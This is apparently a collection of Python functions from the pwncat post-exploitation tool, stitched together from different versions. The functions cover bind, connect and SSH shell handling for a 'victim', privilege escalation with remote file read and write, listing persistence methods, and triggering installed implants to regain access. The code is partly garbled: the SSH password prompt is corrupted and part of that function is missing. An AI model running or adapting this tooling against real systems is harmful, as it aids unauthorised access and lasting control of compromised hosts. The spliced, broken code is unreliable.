def run(self, manager: "pwncat.manager.Manager", args): module_name = args.module if args.module is None and manager.config.module is None: console.log("[red]error[/red]: no module specified") return elif args.module is None: module_name = manager.config.module.name # Parse key=value pairs values = {} for arg in args.args: if "=" not in arg: values[arg] = True else: name, value = arg.split("=") values[name] = value # pwncat.config.locals.update(values) config_values = manager.config.locals.copy() config_values.update(values) try: result = manager.target.run(module_name, **config_values) if args.module is not None: manager.config.back() except pwncat.modules.ModuleFailed as exc: if args.traceback: console.print_exception() else: console.log(f"[red]error[/red]: module failed: {exc}") return except pwncat.modules.ModuleNotFound: console.log(f"[red]error[/red]: {module_name}: not found") return except pwncat.modules.ArgumentFormatError as exc: console.log(f"[red]error[/red]: {exc}: invalid argument") return except pwncat.modules.MissingArgument as exc: console.log(f"[red]error[/red]: missing argument: {exc}") return except pwncat.modules.InvalidArgument as exc: console.log(f"[red]error[/red]: invalid argument: {exc}") return if isinstance(result, list): result = [r for r in result if not r.hidden] elif result.hidden: result = None if args.raw: console.print(result) else: if result is None or (isinstance(result, list) and not result): console.log( f"Module [bold]{module_name}[/bold] completed successfully" ) return if not isinstance(result, list): result = [result] self.display_item(manager, title=module_name, results=result)
def run(self, args): protocol = None user = None password = None host = None port = None try_reconnect = False if not args.config and os.path.exists("./pwncatrc"): args.config = "./pwncatrc" elif not args.config and os.path.exists("./data/pwncatrc"): args.config = "./data/pwncatrc" if args.config: try: # Load the configuration with open(args.config, "r") as filp: pwncat.victim.command_parser.eval(filp.read(), args.config) except OSError as exc: console.log(f"[red]error[/red]: {exc}") return if args.list: # Grab a list of installed persistence methods for all hosts # persist.gather will retrieve entries for all hosts if no # host is currently connected. modules = list(pwncat.modules.run("persist.gather")) # Create a mapping of host hash to host object and array of # persistence methods hosts = { host.hash: (host, []) for host in pwncat.victim.session.query(pwncat.db.Host).all() } for module in modules: hosts[module.persist.host.hash][1].append(module) for host_hash, (host, modules) in hosts.items(): console.print(f"[magenta]{host.ip}[/magenta] - " f"[red]{host.distro}[/red] - " f"[yellow]{host_hash}[/yellow]") for module in modules: console.print(f" - {str(module)}") return if args.connection_string: m = self.CONNECTION_PATTERN.match(args.connection_string) protocol = m.group("protocol") user = m.group("user") password = m.group("password") host = m.group("host") port = m.group("port") if protocol is not None and args.listen: console.log( f"[red]error[/red]: --listen is not compatible with an explicit connection string" ) return if (sum([ port is not None, args.port is not None, args.pos_port is not None ]) > 1): console.log(f"[red]error[/red]: multiple ports specified") return if args.port is not None: port = args.port if args.pos_port is not None: port = args.pos_port if port is not None: try: port = int(port.lstrip(":")) except: console.log(f"[red]error[/red]: {port}: invalid port number") return # Attempt to assume a protocol based on context if protocol is None: if args.listen: protocol = "bind://" elif args.port is not None: protocol = "connect://" elif user is not None: protocol = "ssh://" try_reconnect = True elif host == "" or host == "0.0.0.0": protocol = "bind://" elif args.connection_string is None: self.parser.print_help() return else: protocol = "connect://" try_reconnect = True if protocol != "ssh://" and args.identity is not None: console.log( f"[red]error[/red]: --identity is only valid for ssh protocols" ) return if pwncat.victim.client is not None: console.log("connection [red]already active[/red]") return if protocol == "reconnect://" or try_reconnect: level = "[yellow]warning[/yellow]" if try_reconnect else "[red]error[/red]" try: addr = ipaddress.ip_address(socket.gethostbyname(host)) row = (pwncat.victim.session.query( pwncat.db.Host).filter_by(ip=str(addr)).first()) if row is None: console.log(f"{level}: {str(addr)}: not found in database") host_hash = None else: host_hash = row.hash except ValueError: host_hash = host # Reconnect to the given host if host_hash is not None: try: pwncat.victim.reconnect(host_hash, password, user) return except Exception as exc: console.log(f"{level}: {host}: {exc}") if protocol == "reconnect://" and not try_reconnect: # This means reconnection failed, and we had an explicit # reconnect protocol return if protocol == "bind://": if not host or host == "": host = "0.0.0.0" if port is None: console.log(f"[red]error[/red]: no port specified") return with Progress( f"bound to [blue]{host}[/blue]:[cyan]{port}[/cyan]", BarColumn(bar_width=None), transient=True, ) as progress: task_id = progress.add_task("listening", total=1, start=False) # Create the socket server server = socket.create_server((host, port), reuse_port=True) try: # Wait for a connection (client, address) = server.accept() except KeyboardInterrupt: progress.update(task_id, visible=False) progress.log("[red]aborting[/red] listener") return progress.update(task_id, visible=False) progress.log( f"[green]received[/green] connection from [blue]{address[0]}[/blue]:[cyan]{address[1]}[/cyan]" ) pwncat.victim.connect(client) elif protocol == "connect://": if not host: console.log("[red]error[/red]: no host address provided") return if port is None: console.log(f"[red]error[/red]: no port specified") return with Progress( f"connecting to [blue]{host}[/blue]:[cyan]{port}[/cyan]", BarColumn(bar_width=None), transient=True, ) as progress: task_id = progress.add_task("connecting", total=1, start=False) # Connect to the remote host client = socket.create_connection((host, port)) progress.update(task_id, visible=False) progress.log( f"connection to " f"[blue]{host}[/blue]:[cyan]{port}[/cyan] [green]established[/green]" ) pwncat.victim.connect(client) elif protocol == "ssh://": if port is None: port = 22 if not user or user is None: self.parser.error("you must specify a user") if not (password or args.identity): password = prompt("Password: "******"[red]error[/red]: {str(exc)}") return # Create a paramiko SSH transport layer around the socket t = paramiko.Transport(sock) try: t.start_client() except paramiko.SSHException: sock.close() console.log("[red]error[/red]: ssh negotiation failed") return if args.identity: try: # Load the private key for the user key = paramiko.RSAKey.from_private_key_file(args.identity) except: password = prompt("RSA Private Key Passphrase: ", is_password=True) key = paramiko.RSAKey.from_private_key_file( args.identity, password) # Attempt authentication try: t.auth_publickey(user, key) except paramiko.ssh_exception.AuthenticationException as exc: console.log( f"[red]error[/red]: authentication failed: {exc}") else: try: t.auth_password(user, password) except paramiko.ssh_exception.AuthenticationException as exc: console.log( f"[red]error[/red]: authentication failed: {exc}") if not t.is_authenticated(): t.close() sock.close() return # Open an interactive session chan = t.open_session() chan.get_pty() chan.invoke_shell() # Initialize the session! pwncat.victim.connect(chan) if user in pwncat.victim.users and password is not None: console.log(f"storing user password") pwncat.victim.users[user].password = password else: console.log("user not found in database; not storing password") else: console.log(f"[red]error[/red]: {args.action}: invalid action")
def main(): params = inspect.signature(BufferedPipe.read).parameters if "flags" not in params: console.log( f"[red]error[/red]: pwncat requires a custom fork of paramiko. This can be installed with `pip install -U git+https://github.com/calebstewart/paramiko`" ) sys.exit(1) # Ignore SQL Alchemy warnings with warnings.catch_warnings(): warnings.simplefilter("ignore", category=sa_exc.SAWarning) # Default log-level is "INFO" logging.getLogger().setLevel(logging.INFO) # Build the victim object pwncat.victim = Victim() # Find the user configuration config_path = (Path(os.environ.get("XDG_CONFIG_HOME", "~/.config/")) / "pwncat" / "pwncatrc") config_path = config_path.expanduser() try: # Read the config script with config_path.open("r") as filp: script = filp.read() # Run the script pwncat.victim.command_parser.eval(script, str(config_path)) except (FileNotFoundError, PermissionError): # The config doesn't exist pass # Arguments to `pwncat` are considered arguments to `connect` # We use the `prog_name` argument to make the help for "connect" # display "pwncat" in the usage. This is just a visual fix, and # isn't used anywhere else. pwncat.victim.command_parser.dispatch_line(shlex.join(["connect"] + sys.argv[1:]), prog_name="pwncat") # Only continue if we successfully connected if not pwncat.victim.connected: sys.exit(0) # Make stdin unbuffered. Without doing this, some key sequences # which are multi-byte don't get sent properly (e.g. up and left # arrow keys) sys.stdin = TextIOWrapper( os.fdopen(sys.stdin.fileno(), "br", buffering=0), write_through=True, line_buffering=False, ) # Setup the selector to wait for data asynchronously from both streams selector = selectors.DefaultSelector() selector.register(sys.stdin, selectors.EVENT_READ, None) selector.register(pwncat.victim.client, selectors.EVENT_READ, "read") # Initialize our state done = False try: # This loop is only used to funnel data between the local # and remote hosts when in raw mode. During the `pwncat` # prompt, the main loop is handled by the CommandParser # class `run` method. while not done: for k, _ in selector.select(): if k.fileobj is sys.stdin: data = sys.stdin.buffer.read(64) pwncat.victim.process_input(data) else: data = pwncat.victim.recv() if data is None or len(data) == 0: done = True break sys.stdout.buffer.write(data) sys.stdout.flush() except ConnectionResetError: pwncat.victim.restore_local_term() console.log( "[yellow]warning[/yellow]: connection reset by remote host") except SystemExit: console.log("closing connection") finally: # Restore the shell pwncat.victim.restore_local_term() try: # Make sure everything was committed pwncat.victim.session.commit() except InvalidRequestError: pass
def run(self, args): if args.action == "list": techniques = pwncat.victim.privesc.search(args.user, exclude=args.exclude) if len(techniques) == 0: console.log("no techniques found") else: for tech in techniques: color = "green" if tech.user == "root" else "green" console.print( f" - [magenta]{tech.get_cap_name()}[/magenta] " f"as [{color}]{tech.user}[/{color}] " f"via {tech.method.get_name(tech)}" ) elif args.action == "read": if not args.path: self.parser.error("missing required argument: --path") try: read_pipe, chain, technique = pwncat.victim.privesc.read_file( args.path, args.user, args.max_depth ) console.log(f"file [green]opened[/green] with {technique}") # Read the data from the pipe shutil.copyfileobj(read_pipe, sys.stdout.buffer) read_pipe.close() # Unwrap in case we had to privesc to get here pwncat.victim.privesc.unwrap(chain) except privesc.PrivescError as exc: console.log(f"file write [red]failed[/red]") elif args.action == "write": # Make sure the correct arguments are present if not args.path: self.parser.error("missing required argument: --path") if not args.data: self.parser.error("missing required argument: --data") # Read in the data file try: with open(args.data, "rb") as f: data = f.read() except (PermissionError, FileNotFoundError): console.log(f"{args.data}: no such file or directory") try: # Attempt to write the data to the remote file chain = pwncat.victim.privesc.write_file( args.path, data, target_user=args.user, depth=args.max_depth, ) pwncat.victim.privesc.unwrap(chain) console.log("file write [green]succeeded[/green]") except privesc.PrivescError as exc: console.log(f"file write [red]failed[/red]: {exc}") elif args.action == "escalate": try: chain = pwncat.victim.privesc.escalate( args.user, depth=args.max_depth, exclude=args.exclude ) console.log("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"[yellow]\u2ba1[/yellow] " console.log(f"{(i+1)*' '}{arrow}{technique}") ident = pwncat.victim.id if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: pwncat.victim.command_parser.dispatch_line("euid_fix") pwncat.victim.reset() pwncat.victim.state = State.RAW except privesc.PrivescError as exc: console.log(f"privilege escalation [red]failed[/red]: {exc}")
def main(): # Default log-level is "INFO" logging.getLogger().setLevel(logging.INFO) parser = argparse.ArgumentParser( description= """Start interactive pwncat session and optionally connect to existing victim via a known platform and channel type. This entrypoint can also be used to list known implants on previous targets.""" ) parser.add_argument("--version", "-v", action="store_true", help="Show version number and exit") parser.add_argument( "--download-plugins", action="store_true", help="Pre-download all Windows builtin plugins and exit immediately", ) parser.add_argument( "--config", "-c", type=argparse.FileType("r"), default=None, help="Custom configuration file (default: ./pwncatrc)", ) parser.add_argument( "--identity", "-i", type=argparse.FileType("r"), default=None, help="Private key for SSH authentication", ) parser.add_argument( "--listen", "-l", action="store_true", help="Enable the `bind` protocol (supports netcat-style syntax)", ) parser.add_argument( "--platform", "-m", help="Name of the platform to use (default: linux)", default="linux", ) parser.add_argument( "--port", "-p", help="Alternative way to specify port to support netcat-style syntax", ) parser.add_argument( "--list", action="store_true", help="List installed implants with remote connection capability", ) parser.add_argument( "connection_string", metavar="[protocol://][user[:password]@][host][:port]", help="Connection string describing victim", nargs="?", ) parser.add_argument( "pos_port", nargs="?", metavar="port", help="Alternative port number to support netcat-style syntax", ) args = parser.parse_args() # Print the version number and exit. if args.version: print(importlib.metadata.version("pwncat")) return # Create the session manager with pwncat.manager.Manager(args.config) as manager: if args.download_plugins: for plugin_info in pwncat.platform.Windows.PLUGIN_INFO: with pwncat.platform.Windows.open_plugin( manager, plugin_info.provides[0]): pass return if args.list: db = manager.db.open() implants = [] table = Table( "ID", "Address", "Platform", "Implant", "User", box=box.MINIMAL_DOUBLE_HEAD, ) # Locate all installed implants for target in db.root.targets: # Collect users users = {} for fact in target.facts: if "user" in fact.types: users[fact.id] = fact # Collect implants for fact in target.facts: if "implant.remote" in fact.types: table.add_row( target.guid, target.public_address[0], target.platform, fact.source, users[fact.uid].name, ) if not table.rows: console.log("[red]error[/red]: no remote implants found") else: console.print(table) return console.log("Welcome to [red]pwncat[/red] 🐈!") if (args.connection_string is not None or args.pos_port is not None or args.port is not None or args.listen or args.identity is not None): protocol = None user = None password = None host = None port = None if args.connection_string: m = connect.Command.CONNECTION_PATTERN.match( args.connection_string) protocol = m.group("protocol") user = m.group("user") password = m.group("password") host = m.group("host") port = m.group("port") if protocol is not None: protocol = protocol.removesuffix("://") if host is not None and host == "": host = None if protocol is not None and args.listen: console.log( "[red]error[/red]: --listen is not compatible with an explicit connection string" ) return if (sum([ port is not None, args.port is not None, args.pos_port is not None, ]) > 1): console.log("[red]error[/red]: multiple ports specified") return if args.port is not None: port = args.port if args.pos_port is not None: port = args.pos_port if port is not None: try: port = int(port.lstrip(":")) except ValueError: console.log( f"[red]error[/red]: {port}: invalid port number") return # Attempt to reconnect via installed implants if (protocol is None and password is None and port is None and args.identity is None): db = manager.db.open() implants = [] # Locate all installed implants for target in db.root.targets: if target.guid != host and target.public_address[0] != host: continue # Collect users users = {} for fact in target.facts: if "user" in fact.types: users[fact.id] = fact # Collect implants for fact in target.facts: if "implant.remote" in fact.types: implants.append((target, users[fact.uid], fact)) with Progress( "triggering implant", "•", "{task.fields[status]}", transient=True, console=console, ) as progress: task = progress.add_task("", status="...") for target, implant_user, implant in implants: # Check correct user if user is not None and implant_user.name != user: continue # Check correct platform if (args.platform is not None and target.platform != args.platform): continue progress.update( task, status=f"trying [cyan]{implant.source}[/cyan]") # Attempt to trigger a new session try: session = implant.trigger(manager, target) manager.target = session used_implant = implant break except ModuleFailed: db.transaction_manager.commit() continue if manager.target is not None: manager.target.log( f"connected via {used_implant.title(manager.target)}") else: try: manager.create_session( platform=args.platform, protocol=protocol, user=user, password=password, host=host, port=port, identity=args.identity, ) except (ChannelError, PlatformError) as exc: manager.log(f"connection failed: {exc}") manager.interactive() if manager.sessions: with Progress( SpinnerColumn(), "closing sessions", "•", "{task.fields[status]}", console=console, transient=True, ) as progress: task = progress.add_task("task", status="...") # Retrieve the existing session IDs list session_ids = list(manager.sessions.keys()) # Close each session based on its ``session_id`` for session_id in session_ids: progress.update(task, status=str( manager.sessions[session_id].platform)) manager.sessions[session_id].close() progress.update(task, status="done!", completed=100)
def dispatch_line(self, line: str, prog_name: str = None): """ Parse the given line of command input and dispatch a command """ # Account for blank or whitespace only lines line = line.strip() if line == "": return try: # Spit the line with shell rules argv = shlex.split(line) except ValueError as e: console.log(f"[red]error[/red]: {e.args[0]}") return if argv[0][0] in self.shortcuts: command = self.shortcuts[argv[0][0]] argv[0] = argv[0][1:] args = argv line = line[1:] else: line = f"{argv[0]} ".join(line.split(f"{argv[0]} ")[1:]) # Search for a matching command for command in self.commands: if command.PROG == argv[0]: break else: if argv[0] in self.aliases: command = self.aliases[argv[0]] else: console.log( f"[red]error[/red]: {argv[0]}: unknown command") return if not self.loading_complete and not command.LOCAL: console.log( f"[red]error[/red]: {argv[0]}: non-local command use before connection" ) return args = argv[1:] args = [a.encode("utf-8").decode("unicode_escape") for a in args] try: if prog_name: temp_name = command.parser.prog command.parser.prog = prog_name prog_name = temp_name # Parse the arguments if command.parser: args = command.parser.parse_args(args) else: args = line # Run the command command.run(args) if prog_name: command.parser.prog = prog_name except SystemExit: # The arguments were incorrect return